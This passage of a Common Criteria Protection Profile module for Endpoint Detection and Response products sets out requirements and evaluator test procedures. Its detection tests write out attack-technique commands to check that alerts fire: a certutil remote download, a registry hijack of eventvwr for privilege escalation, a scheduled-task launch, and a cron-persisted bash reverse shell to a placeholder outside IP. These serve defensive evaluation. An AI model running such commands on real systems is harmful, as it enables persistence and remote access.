The scope of this PP-Module is to describe the security functionality of an Endpoint Detection and Response (EDR) system in terms of [CC]
and to define functional and assurance requirements for such products. This PP-Module is intended for use with the following Base-PPs:
Protection Profile for Application Software [AppPP], Version 1.3.
This Base-PP is valid because an EDR is deployed as a software application on a general-purpose operating system.
1.2 Terms
The following sections list Common Criteria and technology terms used in this document.
1.2.1 Common Criteria Terms
Assurance
Grounds for confidence that a TOE meets the SFRs [CC].
Common Criteria for Information Technology Security Evaluation (International Standard ISO/IEC 15408).
Common Criteria Testing Laboratory
Within the context of the Common Criteria Evaluation and Validation Scheme (CCEVS), an IT security evaluation facility, accredited by the National Voluntary Laboratory Accreditation Program (NVLAP) and approved by the NIAP Validation Body to conduct Common Criteria-based evaluations.
An event or notification on the management dashboard that highlights
potentially unauthorized activity.
Endpoint
A computing device that runs a general purpose OS, a mobile
device OS, or network device OS. Endpoints can include desktops, servers, and mobile devices.
Server software that analyzes collected EDR Host Agent data for detecting,
investigating, and remediating unauthorized activities on endpoints. The terms
TOE and EDR are interchangeable in this
document.
Endpoint Detection and Response System
The EDR server and the Host Agents they operate with.
Enroll
The act of registering an HA endpoint with the EDR.
Host Agent
Complementary software that executes on endpoints to collect data about the
endpoint and executes commands sent to the endpoint from an Enterprise Security Management
(ESM) server or service. An example command sent to an endpoint could be to enforce a
policy from an ESM, to collect some files, or to run an OS command.
Management Dashboard
A management interface for the configuration of EDR policy, visualization
of collected endpoint alert data, and issuing of remediation commands.
Potentially Unauthorized Activity
This refers to the set of activities detected by the TOE, specific items detected may be unique to the TOE
SOC Analyst
Security Operations Center (SOC) Analyst is typically the person
responsible for reviewing potentially unauthorized activities via alerts and
performing remediation and clean up.
1.3 Compliant Targets of Evaluation
An EDR is
enterprise management software that collects endpoint host data to detect potentially
unauthorized activity on endpoints and to enable threat hunting and other incident response
actions to remediate malicious behaviors. These requirements cover basic security characteristics
and behaviors for EDR products; the platform on which the EDR runs may be a physical or virtual
Operating System (OS), and on-premises or in a cloud environment.
EDR products rely on additional software running on the endpoint, called the Host
Agent, to communicate commands or policy changes and to receive endpoint host data. Security
requirements for the Host Agent are addressed in the separate [Host Agent]PP-Module. Evaluation of an EDR system will require evaluations of different system components
consisting of EDR and [Host Agent]. Each evaluation must satisfy the requirements
in both the EDR and HA in addition to its Base-PP Application Software.
Evaluation of an EDR system will require evaluation of different system components consisting of one EDR
and at least one Host Agent. Therefore, the evaluation must claim conformance to a PP-Configuration that
includes the PP-Module for Endpoint Detection and Response (EDR) and the PP-Module for Host Agent.
There are two primary architectural categories addressed by requirements in this
PP-Module, as seen in Figure 1.
Endpoints communicate over the Internet to an EDR hosted by a cloud service provider (Software as a Service).
Endpoints communicate with an on-premises EDR in a hub and spoke network model.
The TOE boundary for the EDR encompasses
all the software from the TOE vendor that represents the server or enterprise management
side of the EDR system. This will typically, but not always, be software running behind a
web application or dashboard, and possibly with other software services running to send and
receive data with a Host Agent. The EDR may also make use of a database to store collected
and analyzed data. Any database software itself is outside the scope of the TOE, as is any
web server software used to serve a web application or dashboard, and the underlying
operating system or cloud platform. The figure below shows EDR (right) communicating with
its Host Agent (left) over an untrusted network.
The requirements for the Host Agent are not covered in this PP-Module, however it is expected that an ESM
system will evaluate against a PP-Configuration that includes both the EDRPP-Module and the [Host Agent]PP-Module.
The TOE platform, which consists of the OS or
Cloud platform on which the EDR software executes, is outside the scope of evaluation.
However, the security of the EDR relies upon it. Any
communications with trusted remote file reputation or threat intelligence services is
relevant to overall EDR system security but is also outside the scope of evaluation.
1.4 Use Cases
Requirements in this PP-Module are designed to address
the security problem for the following use cases. An EDR's functionality may be
extended by addons, plugins, threat feeds, or other reputation services. These are out of
scope of this PP-Module.
[USE CASE 1] Detection of Potential Unauthorized Activity
The detection of potentially unauthorized activity, software, or users is
enabled by the collection of host-based endpoint data to a central EDR where the data is
analyzed.
[USE CASE 2] Remediation of Malicious Activity
The ability to initiate remediation commands to attempt a clean up of
detected malicious activity is a key use case of EDR.
[USE CASE 3] Discovery
The capability to effectively browse, query, and export aggregated host-based
endpoint data enables a SOC analyst to discover adversaries in post-compromise
scenarios.
2 Conformance Claims
This PP-Module inherits exact conformance as required from
the specified Base-PP and as defined in the CC and
CEM addenda for Exact Conformance, Selection-Based SFRs, and Optional
SFRs (dated May 2017).
The following PPs and PP-Modules are allowed to be specified in a PP-Configuration with this PP-Module:
The security problem is described in terms
of the threats that the EDR is expected to address, assumptions about the
OE, and any organizational security policies that the EDR
is expected to enforce. These extend any threats, assumptions, and organizational security policies defined by the Base-PP.
3.1 Threats
T.MISCONFIGURATION
An attacker is a legitimate privileged user with access to change
the configuration of the EDR's security capabilities or is not a legitimate
privileged user trying to access without proper authorization.. Attackers may
attempt to hide malicious activities from other privileged users.
T.CREDENTIAL_REUSE
An attacker is positioned on a communications channel or elsewhere on the
network infrastructure. Attackers may guess or harvest legitimate credentials from the
EDR, endpoints, or insecure network activity.
3.2 Assumptions
These assumptions are made on the Operational Environment in order to be able to ensure that the
security functionality specified in the PP-Module can be provided by the TOE. If the TOE is placed in an
Operational Environment that does not meet these assumptions, the TOE may no longer be able to
provide all of its security functionality.
A.CONNECTIVITY
The EDR relies on network connectivity to carry out its
management activities. The OE will provide reliable network connectivity for the EDR to operate. The EDR will robustly handle occasional instances when
connectivity is unavailable or unreliable.
3.3 Organizational Security Policies
This PP-Module defines no additional organizational security policies beyond those defined in the Base-PP.
4 Security Objectives
4.1 Security Objectives for the TOE
O.ACCOUNTABILITY
The TOE must provide logging facilities which record
management actions undertaken by identified and authenticated management users.
Addressed by: FAU_GEN.1/EDR, FIA_AUT_EXT.1
To address both passive (eavesdropping) and active (packet modification)
network attack threats, conformant TOE
s will use a trusted channel to protect all communications. Sensitive data
includes cryptographic keys, passwords, and any other data specific to the application
that should not be exposed outside of the application or to unauthenticated users.
Addressed by: FCS_DTLSS_EXT.1 (from TLS Package), FCS_DTLSC_EXT.1 (from TLS Package), FCS_HTTPS_EXT.1 (from Base-PP),
FCS_TLSC_EXT.1 (from TLS Package), FCS_TLSC_EXT.2 (from TLS Package), FCS_TLSS_EXT.1 (from TLS Package),
FCS_TLSS_EXT.2 (from TLS Package), FPT_ITT.1, FTP_TRP.1
4.2 Security Objectives for the Operational Environment
The Operational Environment of the TOE implements technical and procedural measures to assist the TOE in correctly providing its security functionality (which is defined by the security objectives for the TOE). The security objectives for the Operational Environment consist of a set of statements describing the goals that the Operational Environment should achieve. This section defines the security objectives that are to be addressed by the IT domain or by non-technical or procedural means. The assumptions identified in Section 3 are incorporated as security objectives for the environment. The following security objectives for the Operational
Environment assist the EDR in correctly providing its security functionality. These track with
the assumptions about the environment.
OE.RELIABLE_TRANSIT
Wired or wireless network traffic between the EDR and
host agents will provide reasonably reliable connectivity.
4.3 Security Objectives Rationale
This section describes how the assumptions, threats, and organization security policies map to the security objectives.
This chapter describes the security requirements which have to be fulfilled by the product under evaluation. Those requirements comprise functional components from Part 2 and assurance components from Part 3 of [CC]. The following conventions are used for the completion of operations:
Refinement operation (denoted by bold text or strikethrough
text): is used to add details to a requirement (including replacing an assignment
with a more restrictive selection) or to remove part of the requirement that is made irrelevant
through the completion of another operation, and thus further restricts a requirement.
Selection (denoted by italicized text): is used to select one or more options
provided by the [CC] in stating a requirement.
Assignment operation (denoted by italicized text): is used to assign a
specific value to an unspecified parameter, such as the length of a password. Showing the
value in square brackets indicates assignment.
Iteration operation: is indicated by appending the SFR name with a slash and unique identifier
suggesting the purpose of the operation, e.g. "/EXAMPLE1."
5.1 App PP
Security Functional Requirements Direction
In a PP-Configuration that includes [AppPP], the TOE is expected to rely on some of the security functions implemented by the application as a whole and evaluated against the Base-PP. The SFRs listed in this section are defined in the Base-PP and relevant to the secure operation of the EDR. This section describes any modifications that the ST author must make to the Base-PP SFRs to satisfy the required EDR functionality.
5.1.1
Modified SFRs
This PP-Module does not modify any SFRs defined by the App PP.
5.2 TOE Security Functional Requirements
The following section describes the SFRs that must be satisfied by any TOE that claims conformance to this PP-Module. These SFRs must be claimed regardless of which PP-Configuration is used to define the TOE.
The EDR shall alert authorized users on a management dashboard
in the event of any of the following:
Change in Host Agent enrollment status,
Detection of potentially unauthorized activity on enrolled endpoints.
Application Note: The intent of this requirement is to specify the minimum set
of management dashboard alert capabilities the EDR must be capable
of displaying to an authorized user.
Examples of detection of potentially unauthorized activity on enrolled endpoints include;
anomalous activity, escalation of privileges, and lateral movement.
Application Note: The intent of this requirement is to specify the minimum set
of incident visualizations the EDR must be capable of displaying
to an authorized user. Visualization is broadly defined as the display of incident
data to an authorized user on the management dashboard. The visualization is not
required to be interactive.
Application Note: The intent of this requirement is to specify a selection of
standards-based formats the EDR must provide for the export of selected alerts, at least one must be selected.
The evaluator shall examine the TSS to ensure that it describes how alerts for changes in Host Agent
enrollment status and potentially unauthorized activities on enrolled endpoints are detected and displayed.
The evaluator shall examine the TSS to ensure it contains the
list of unauthorized activity types categorized or labeled by the EDR upon
detection.
The evaluator shall examine the TSS to ensure that it describes how alert visualizations
are displayed and what content is included.
The evaluator shall examine the TSS to ensure that it describes what formats are supported.
Guidance
The evaluator shall review operational guidance to ensure that it
contains documentation on enrolling and unenrolling Host Agents from the
EDR.
The evaluator shall review operational guidance to identify a
list of unauthorized activity types categorized or labeled by the EDR upon
detection.
The evaluator shall ensure guidance includes any needed configuration information for displaying alerts
in relation to changes in Host Agent enrollment status and potentially unauthorized activities.
The evaluator shall review the operational guidance to ensure that it
contains documentation on using the management dashboard to visualize and view
alerts.
The evaluator shall review the operational guidance to ensure that it
contains documentation on the products supported for exporting alerts in standards-based formats.
Tests
The evaluator shall perform the following tests:
The evaluator shall follow guidance to unenroll a Host Agent from the
EDR and verify that the unenrollment action is recorded in an auditable and
timestamped activity log.
The evaluator
shall follow guidance to enroll a Host Agent to the EDR and verify that the
enrollment action is recorded in an auditable and timestamped activity log.
For Windows, the evaluator shall test the EDR's ability to detect
anomalous activity by performing the following subtests based on the platform of
the enrolled Host Agent's system, verifying for each that, corresponding alerts
were generated in the management dashboard:
Test 1: The evaluator shall open a Windows command prompt as a user and run the
command cmd /c certutil -urlcache -split -f <remote file>
<download directory>, where the remote file is a valid file path
to an accessible, remotely stored executable, and the download directory is a
valid directory path writable by the current local user.
Test 2: The evaluator shall open a Windows command prompt as a user and run the
command reg.exe add hkcu\software\classes\mscfile\shell\open\command
/ve /d "<local executable>" /f, where the local executable is a
valid file path to a readable, local executable. The evaluator will then run
the command cmd.exe /c eventvwr.msc in the same command
prompt window.
Test 3: The evaluator shall open a Windows command prompt as a user and run the
command SCHTASKS /Create /SC ONCE /TN spawn /TR <local
executable>" /ST <time>, where the local executable is a
valid file path to a readable, local executable, and time is a start time that
occurs within minutes of the task being created.
For Linux, the evaluator shall test the EDR's ability to detect
anomalous activity by performing the following subtests based on the platform of
the enrolled Host Agent's system, verifying for each that, corresponding alerts
were generated in the management dashboard:
Test 1: The evaluator shall open a terminal and run the command scp
<remote user>@<remote host>:<remote path>
<download directory>, where the remote user is a valid user on
remote host, remote path is a valid path to a remotely stored executable, and the
download directory is a valid directory path writable by the current local
user. The remote user's password shall be provided when prompted.
Test 2: The evaluator shall open a terminal and run the command echo
"bash -i >& /dev/tcp/<outside IP>/5050 0>&1 1 &" >
/etc/cron.hourly/persist, where the outside IP is a valid
external address.
For all platforms:
Test 1: The evaluator shall review an alert on the management dashboard and verify that
the alert contains a severity field and the fields specified in the ST. The evaluator will open or view the alert and verify that a timeline of
events is available for review. The timeline shall show a progression of events
over time.
Test 2: The evaluator shall pick an alert on the management dashboard and export the
alert in every format specified in the ST. The evaluator shall review the operational
guidance and the selection from the requirement and verify that export options
exist for all the declared formats in the selection. After exporting one alert for
each possible format the evaluator shall review the file contents of the exported
alert and verify it is the correct format for the selected export option (for
example, an export of the IODEF type must contain 'IODEF-Document' in the first
element of the exported file).
Application Note: The intent of this requirement is to specify the minimum set
of endpoint data that the EDR must be capable of collecting. The assignments may be empty, a single item, or multiple items.
The evaluator shall verify that all supported endpoint event data types are described.
Guidance
The evaluator shall review the operational guidance and ensure that it
lists all of the collectable types of endpoint event data.
Tests
The evaluator shall perform the following tests:
Test 1: The evaluator shall verify the OS version, architecture, and IP address of
a system managed by a Host Agent against the data reported to the EDR.
Test 2: The evaluator shall log in to a system managed by a Host Agent with two separate
accounts and verify that the activity is accurately reported to the EDR.
Test 3: The evaluator shall run a known user application provided on the platform OS and verify
that subsequent process creation and module loading is accurately reported to the EDR.
Test 4: The evaluator shall create a new non-empty document within persistent storage and verify
that the activity is accurately reported to the EDR.
Test 5: The evaluator shall perform an action that causes an event
to occur for all items in the assignment and verify the activity is reported to the EDR.
Refinement: The EDR shall record within each audit record at least the following information:
Date and time of the event,
Type of event,
Subject identity,
Outcome (success or failure) of the event,
For each audit type, based on the auditable event definitions of the functional components included in the PP/ST, [assignment: Other audit relevant information].
Application Note: This requirement outlines the information to be included in audit records. All audits must
contain at least the information mentioned in FAU_GEN.1.2/EDR, but may contain more information
which can be assigned.
The evaluator shall check the TSS and ensure that it lists all of the auditable events claimed in the SFR.
The evaluator shall check to make sure that every audit event type specified by the SFR is described in the TSS.
The evaluator shall check the TSS and ensure that it provides a format for audit records.
Each audit record format type must be covered, along with a brief description of each field.
Guidance
The evaluator shall check the administrative guide and ensure that it lists all of the auditable events claimed in the SFR.
The evaluator shall check to make sure that every audit event type mandated by the SFR is described.
The evaluator shall examine the administrative guide and make a determination of which
commands are related to the configuration (including enabling or disabling)
of the mechanisms implemented in the EDR that are necessary to enforce the
requirements specified in the PP-Module. The evaluator shall document the methodology or
approach taken while determining which actions in the administrative guide are security relevant with
respect to this PP-Module. The evaluator may perform this activity as part of the activities
associated with ensuring the AGD_OPE guidance satisfies the requirements.
The evaluator shall check the administrative guide and ensure that it provides a format for audit records.
Each audit record format type must be covered, along with a brief description of each field. The evaluator shall
check to make sure that the description of the fields contains the information required in FAU_GEN.1.2/EDR.
Tests
The evaluator shall perform the following tests:
Test 1: The evaluator shall login to the EDR management dashboard and verify that audit
log data describing the activity is recorded.
Test 2: The evaluator shall issue a valid remediation command provided by the EDR to
a Host Agent and verify that audit log data describing the activity is recorded on the EDR management dashboard.
Test 3: The evaluator shall change a non-destructive EDR configuration option within the EDR management
dashboard, change it back to the original setting, and verify that the audit log data describing
the activity is recorded.
Test 4: The evalutor shall perform the action to generate all other auditable
events listed in the assignement and verify the activity is recorded.
When verifying the test results from FAU_GEN.1.1/EDR, the evaluator shall ensure the audit records generated during
testing match the format specified in the administrative guide, and that the fields in each audit record have the proper entries.
Note that the testing here can be accomplished in conjunction with the testing of the security mechanisms directly.
For example, testing performed to ensure that the administrative guidance provided is correct verifies that AGD_OPE.1
is satisfied and should address the invocation of the administrative actions that are needed to verify the audit records
are generated as expected.
The evaluator shall examine the TSS to ensure that it describes how user authentication is performed.
The evaluator shall verify that the authorization methods listed in the TSS are specified and included in the requirements in the ST.
Guidance
The evaluator shall review the operational guidance to ensure that it
contains documentation on configuring any supported authentication mechanisms and any support for
multifactor authentication.
Tests
Test 1: Conditional: If "provide the following authentication mechanisms" is selected,
the evaluator shall create an account with a username and password, verifying
that login authentication is case-sensitive. If additional factors are provided, each
factor shall be tested for login access with strictly unanimous authentication for those
enabled. The evaluator shall verify that login access is granted for correct credentials
and denied in cases of incorrect credentials across available factors.
Test 2:
Conditional: If "leverage the platform" is selected, the evaluator shall create an account following the platform rules.
If additional factors are provided, each
factor shall be tested for login access with strictly unanimous authentication for those
enabled. The evaluator shall verify that login access is granted for correct credentials
and denied in cases of incorrect credentials across available factors.
The EDR shall support the following for the Password
Authentication Factor:
Passwords shall be able to be composed of any combination of [selection: upper and lower case letters, [assignment: a character set of at least 52
characters]], numbers, and special characters: [selection: "!", "@", "#", "$", "%", "^", "&", "*", "(", ")", [assignment: other characters]],
Password length up to [assignment: an integer greater than or equal to
64] characters shall be supported.
Application Note: The ST author selects the character set:
either the upper and lower case Basic Latin letters or another assigned character
set containing at least 52 characters. The assigned character set must be well
defined: either according to an international encoding standard (such as Unicode) or
defined in the assignment by the ST author. The ST
author also selects the special characters that are supported by the TOE;
they may optionally list additional special characters supported
using the assignment.
The evaluator shall verify the TSS includes all the supported characters, rules, and limitations used by the EDR and that they meet the requirements of the SFR.
Guidance
The evaluator shall review the operational guidance to ensure that it
contains documentation on default password policy.
Tests
The evaluator shall perform the following tests:
Test 1: The evaluator shall verify that passwords up to 64 characters are supported.
Test 2: The evaluator shall verify that password composition rules present in operational guidance
are enforced. While the evaluator is not required (nor is it feasible) to test all possible
composition rules, the evaluator shall ensure that all characters are supported, and rule characteristics
listed in the requirement are enforced.
5.2.3 Security Management (FMT)
FMT_SMF.1/ENDPOINT Specification of Management Functions (EDR Management of EDR)
Refinement: The EDR shall be capable of performing the following
management functions:
Management Function
Administrator
SOC Analyst
Read-Only User
Configure the amount of time to retain data collected by the EDR
[assignment: time frame to retain data]
MMandatory
OOptional
-N/A
Obtain or display the connectivity status of a Host Agent
MMandatory
OOptional
OOptional
Define a configurable
denylist of [selection: filenames, folders, file hashes, [assignment: other factors]]
OOptional
MMandatory
-N/A
Configure visual suppression of incident alerts based on a configurable
denylist of [selection: filenames, folders, file hashes, [assignment: other factors]]
OOptional
MMandatory
-N/A
Application Note: This requirement captures all the configuration
functionality the TSF provides the administrator to configure the
EDR.
Chart legend: M = Mandatory, O = Optional, - = N/A
The evaluator shall verify the TSS contains a list of roles and what functions they can perform.
The evaluator shall verify the list matches the chart in the requirement.
Guidance
The evaluator shall review the operational guidance to verify that the EDR has
documented capabilities to perform the management functions.
Tests
The evaluator shall perform the below tests with each role,
verifying each role is denied or can complete the action below as specified by the chart in the SFR:
Test 1: The evaluator shall configure the amount of time to retain collected EDR data
to a time frame in which existing data will be made unavailable and verify that the
data is no longer accessible through the EDR management dashboard.
Test 2: The evaluator shall logically or physically inhibit the network communications
between a managed endpoint system and the EDR server and verify that the inhibited or halted
connectivity status of the Host Agent is recognized on the EDR management dashboard.
Test 3: The evaluator shall use a file that triggers an incident alert to test the suppression
of such alerts for that specific file. Upon confirming the creation of incident alerts on access
to the file, the evaluator shall configure suppression of the alert for each available
suppression denylist file or metadata characteristic and verify that incident alerts are
categorized as suppressed, hidden, unavailable, or never created.
Test 4: The evaluator shall attempt each function with each role and verify access conforms with the chart in the requirement.
FMT_SMF.1/HOST Specification of Management Functions (EDR Management of Host Agent)
Refinement: The EDR shall be capable of performing the following functions that control
behavior of the Host Agent:
Management Function
Administrator
SOC Analyst
Read-Only User
Configure the time frame for sending Host Agent data to the EDR
[assignment: list of configurable time frames]
MMandatory
OOptional
-N/A
Assign a label or tag to categorize or group individual endpoint systems
MMandatory
OOptional
-N/A
Application Note: This requirement captures all the configuration
functionality the EDR provides the administrator to configure the
EDR Host Agents.
Chart legend: M = Mandatory, O = Optional, - = N/A
The evaluator shall verify the TSS contains a list of roles and what functions they can perform.
The evaluator shall verify the list matches the chart in the requirement.
Guidance
The evaluator shall review the operational guidance to verify that the EDR has
documented capabilities to perform the management functions.
Tests
The evaluator shall perform the below tests:
Test 1: The evaluator shall modify the time frame for sending Host Agent data to the EDR
and verify that an affected Host Agent is sending data at the intended interval.
Test 2: The evaluator shall tag or categorize a group of individual endpoint systems and
verify that the tag or categorization persists within the EDR management dashboard for
other users.
Test 3: The evaluator shall attempt each function with each role and verify access conforms with the chart in the requirement.
Refinement: The EDR shall be able to associate users with roles.
Application Note: The EDR will be configured, maintained, and
used by different user roles. At a minimum, one administrative role shall be
supported, one SOC analyst who can issue remediation commands to host agents, and
one read-only user who can only view data.
The user accounts need not be named literally, but they must have the implication of such roles. CC Part 2 specifies FIA_UID.1 as a dependency of this requirement because the TSF must have some way of identifying users so that they can be associated with management roles.
This dependency is implicitly addressed through FIA_AUT_EXT.1, which specifies an alternative method of user identification.
The evaluator shall examine the TSS to verify that it
describes the roles and the powers granted to and limitations of the role.
Guidance
The evaluator shall review the operational guidance to ensure that it
contains instructions for administering the EDR, which user
roles are supported, and which permissions each role has.
Tests
Test 1: The evaluator shall verify that the roles of administrator, SOC analyst, and
read-only user are available, creating individual accounts with each
role assigned.
Test 2: The evaluator shall verify that non-administrator roles are not able to modify
the roles of their own account or those of others.
Test 3: In the course of performing the testing activities for the evaluation,
the evaluator shall use all supported interfaces, although it is not
necessary to repeat each test involving an administrative action with each
interface. The evaluator shall ensure, however, that each supported method
of administering the EDR that conforms to the requirements
of this PP be tested; for instance, if the EDR can be administered through a local hardware interface or
TLS/HTTPS then both methods of administration must be exercised during the
execution of the test activities.
Test 4: The evaluator shall attempt each function with each role and verify access conforms with the chart in the requirement.
FMT_SRF_EXT.1 Specification of Remediation Functions
The EDR shall be capable of performing the following
remediation functions:
Management Function
Administrator
SOC Analyst
Read-Only User
Quarantine an endpoint by
[selection: logically quarantining the endpoint from the network unless allowlisted, quarantining the malicious file on the endpoint]
OOptional
MMandatory
-N/A
Terminate a running process on an endpoint
OOptional
MMandatory
-N/A
Retrieve potentially unauthorized or affected files from an endpoint
OOptional
OOptional
-N/A
Application Note: This requirement captures all the remediation functionality
the EDR provides the SOC Analyst and optionally the Administrator. Logically quarantine from the network refers to restricting communications from the endpoint to the rest of the network,
it may include a restricted allowlist.
Chart legend: M = Mandatory, O = Optional, - = N/A
The evaluator shall check to ensure that the TSS describes what roles can perform what
remediation actions and how each remediation action is performed.
Guidance
The evaluator shall review the operational guidance to verify that the EDR has
documented capabilities to perform the management functions.
Tests
For each role, the evaluator shall perform the below tests, verifying that each role in the chart can
perform their permitted functions and are restricted from performing functions that they do not have access to per the
legend (Chart legend: X = Mandatory, O = Optional, - = N/A):
Test 1: Conditional: If "logically quarantining the endpoint from the network unless allowlisted" is selected
the evaluator shall logically quarantine a managed endpoint system from the
network and verify that the system is unable to access network addresses or resources
outside of an allowlist.
Test 2: Conditional: If "quarantining the malicious file on the endpoint" is selected
the evaluator shall verify the functionality to quarantine potentially unauthorized files on the endpoint.
Test 3: The evaluator shall run an executable on a managed endpoint system, terminate
its process from the EDR management dashboard, and then verify that the process is no
longer running on the system.
Test 4: The evaluator shall place a file known to trigger an incident alert on the file system then retrieve the
contents of the file from the EDR management dashboard.
5.2.4 Protection of the TSF (FPT)
FPT_ITT.1 Basic Internal TSF Data Transfer Protection
implement
[selection: TLS as defined in the TLS Package, HTTPS as defined in the Base-PP],
invoke platform-provided functionality for
[selection: TLS, HTTPS]
]
to protect TSF data from [modification, disclosure] when it is transmitted between separate parts of the TOE.
Application Note: The intent of the above requirement is to use the
cryptographic protocols identified in the requirement to establish and maintain a
trusted channel between the EDR and the Host Agent, which are considered to be separate parts of the TOE. The TLS Package permits the use of either TLS or DTLS. Only TLS, DTLS, or
HTTPS can be used in this trusted channel.
This requirement is to
ensure that the transmission of any logs, process lists, system information, etc,
when commanded, or at configurable intervals, is properly protected. This internal
channel also protects any commands and policies sent by the EDR to
the Host Agent. Either the Host Agent or the EDR is able to
initiate the connection.
This internal channel protects both the
connection between an enrolled Host Agent and the EDR and the
connection between an unenrolled Host Agent and the EDR during the
enrollment operation. Different protocols can be used for these two connections, and
the description in the TSS should make this difference clear.
The internal channel uses a protocol from the TLS Package or HTTPS as the protocol that preserves
the confidentiality and integrity of EDR communications. The ST author chooses the mechanism
or mechanisms supported by the EDR, and then ensures the correct requirements are included in the
ST if not already present. Protocol, RBG, certificate validation,
algorithm, and similar services may be met with platform-provided services.
If "invoke platform-provided functionality for..." is selected, the evaluator shall verify the TSS contains the calls to the platform that TOE is leveraging to invoke the functionality.
If "implement..." is selected, the evaluator shall examine the TSS to verify how Agent-Server communications are protected is described and conforms to the SFR.
The evaluator shall also confirm that all protocols
listed in the TSS are consistent with those specified in the requirement, and are
included in the requirements in the ST.
Guidance
The evaluator shall confirm that the operational guidance contains
instructions for configuring the communication channel between the Host Agent and
the EDR for each supported method.
Tests
Test 1: The evaluators shall ensure that communications using each specified
(in the operational guidance) Agent-Server communication method is tested
during the course of the evaluation, setting up the connections as described
in the operational guidance and ensuring that communication is successful.
Test 2: The evaluator shall ensure, for each method of Agent-Server
communication, the channel data is not sent in plaintext.
implement
[selection: TLS as defined in the TLS Package, HTTPS as defined in the Base-PP],
invoke platform-provided functionality for
[selection: TLS, HTTPS]
] to provide a communication path between itself and [remote]
administrators that is logically distinct from other communication paths and
provides assured identification of its end points and protection of the communicated
data from [modification, disclosure].
Refinement: The EDR shall [selection: implement functionality, invoke platform-provided functionality] to permit [remote administrators] to initiate communication via the
trusted path.
Refinement: The EDR shall [selection: implement functionality, invoke platform-provided functionality] to require the use of the trusted path for [all remote
administration actions].
Application Note: This requirement ensures that authorized remote
administrators initiate all communication with the EDR via a
trusted path, and that all communications with the EDR by remote
administrators is performed over this path. The data passed in this trusted
communication channel are encrypted as defined in the protocol chosen in the first
selection. The ST author chooses the mechanism or mechanisms
supported by the EDR.
The evaluator shall examine the TSS to verify how remote administration communications are protected is described and conforms to the SFR.
The evaluator shall examine the TSS to determine that the
methods of remote TOE administration are indicated, along with
how those communications are protected. The evaluator shall also confirm that all
protocols listed in the TSS in support of TOE
administration are consistent with those specified in the requirement, and are
included in the requirements in the ST.
If "invoke platform-provided functionality for..." is selected in FTP_TRP.1.1, the evaluator shall verify the TSS contains the calls to the platform that TOE is leveraging to invoke the functionality.
Guidance
The evaluator shall confirm that the operational guidance contains
instructions for establishing the remote administrative sessions for each
supported method.
Tests
Test 1: The evaluators shall ensure that communications using each specified
(in the operational guidance) remote administration method is tested during
the course of the evaluation, setting up the connections as described in the
operational guidance and ensuring that communication is successful.
Test 2: For each method of remote administration supported, the evaluator shall
follow the operational guidance to ensure that there is no available
interface that can be used by a remote user to establish remote
administrative sessions without invoking the trusted path.
Test 3: The evaluator shall ensure, for each method of remote administration,
the channel data is not sent in plaintext.
5.3 TOE Security Functional Requirements Rationale
The following rationale provides justification for each security objective for the TOE,
showing that the SFRs are suitable to meet and achieve the security objectives:
The PP-Module includes FAU_GEN.1/EDR to ensure that the TOE provides accountability through the generation of audit records for security-relevant events.
The PP-Module includes FIA_AUT_EXT.1 to provide a mechanism to authenticate management users so that they can be associated with their actions.
The PP-Module includes FAU_ALT_EXT.1 to facilitate management by providing a function for authorized users to interact with security-relevant data that is provided to the TSF.
The PP-Module includes FAU_COL_EXT.1 to facilitate management by defining the security-relevant data that is collected by the TSF.
The PP-Module includes FIA_AUT_EXT.1 to define how management users are authenticated by the TSF to limit the subjects that can execute management functions on the TOE.
The PP-Module includes FIA_PWD_EXT.1 to define composition requirements for the Password Authentication Factor to ensure that an authorized user cannot access protected management functions without authorization.
The PP-Module includes FMT_SMF.1/ENDPOINT to define the management functions that can be performed to control the behavior of the TSF and the management roles that are authorized to perform those functions.
The PP-Module includes FMT_SMF.1/HOST to define the management functions that can be performed to control the behavior of Host Agents that are connected to the TOE and the management roles that are authorized to perform those functions.
The PP-Module includes FMT_SMR.1 to define the management roles that the TSF supports so that its management functions can be separated by role.
The PP-Module includes FMT_SRF_EXT.1 to define the remediation functions that are available to authorized users to issue corrective actions on a system that has a connected Host Agent.
The PP-Module includes FMT_TRM_EXT.1 to provide an optional capability to ensure the integrity of management commands and policies issued to external Host Agents through use of a digital signature
The PP-Module references FCS_HTTPS_EXT.1 from the Base-PP for cases when HTTPS is used as a trusted communications channel.
The PP-Module references FCS_DTLSC_EXT.1 from the TLS Package for cases when DTLS as a client is used as a trusted communications channel.
The PP-Module references FCS_DTLSS_EXT.1 from the TLS Package for cases when DTLS as a server is used as a trusted communications channel.
The PP-Module references FCS_TLSC_EXT.1 from the TLS Package for cases when TLS as a client is used as a trusted communications channel.
The PP-Module references FCS_TLSC_EXT.2 from the TLS Package for cases when the TOE uses a TLS client implementation that supports mutual authentication.
The PP-Module references FCS_TLSS_EXT.1 from the TLS Package for cases when TLS as a server is used as a trusted communications channel.
The PP-Module references FCS_TLSS_EXT.2 from the TLS Package for cases when the TOE uses a TLS client implementation that supports mutual authentication.
The PP-Module includes FPT_ITT.1 to define the internal trusted channel that the TSF uses to communicate with connected Host Agents as well as the communications protocols used to establish these trusted channels.
The PP-Module includes FTP_TRP.1 to define the communications protocols used to support secure remote administration of the TSF.
6 Consistency Rationale
6.1
Protection Profile for Application Software
6.1.1
Consistency of TOE Type
If this PP-Module is used to extend the Application Software PP, the TOE type for
the overall TOE is still a software-based application. The TOE boundary is simply extended
to include the EDR functionality that is built into the application so that additional
security functionality is claimed within the scope of the TOE.
6.1.2
Consistency of Security Problem Definition
The threats, assumptions, and OSPs defined by this PP-Module (see section 3.1) supplement those defined in the
App PP as follows:
This threat is consistent with the Base-PP because it is a specific example of the T.LOCAL_ATTACK threat defined there.
In this case, the local attack is to maliciously alter the behavior of the application itself rather than to use the application as a method to attack the OS platform.
This assumption is consistent with the Base-PP because assuming network availability is consistent with the A.PLATFORM
assumption defined by the Base-PP, which expects the TOE to have a trustworthy computing platform.
6.1.3
Consistency of Objectives
The objectives for the TOEs are consistent with the App PP based on the following rationale:
This objective relates to the ability of the TOE to identify and authenticate users, and
to record the behavior of these users. The Base-PP does not define an authentication mechanism so this objective
does not affect the enforcement of the Base-PP's SFRs.
This objective extends the Base-PP's O.PROTECTED_COMMS
objective by ensuring that the communications related to the EDR and
enrolled Host Agents are secured in the same manner as other sensitive data.
The objectives for the TOE's Operational Environment are consistent with the App PP based on the following rationale:
This objective relates to an external interface that does not exist in the Base-PP
and does not affect Base-PP functionality.
6.1.4
Consistency of Requirements
This PP-Module identifies several SFRs from the
App PP that are needed to support
Endpoint Detection and Response (EDR) functionality. This is considered to be consistent because the functionality provided by the
App PPis being used for its intended purpose.
The rationale for why this does not conflict with the claims
defined by the
App PP are as follows:
This SFR defines the minimum event data that the EDR server must
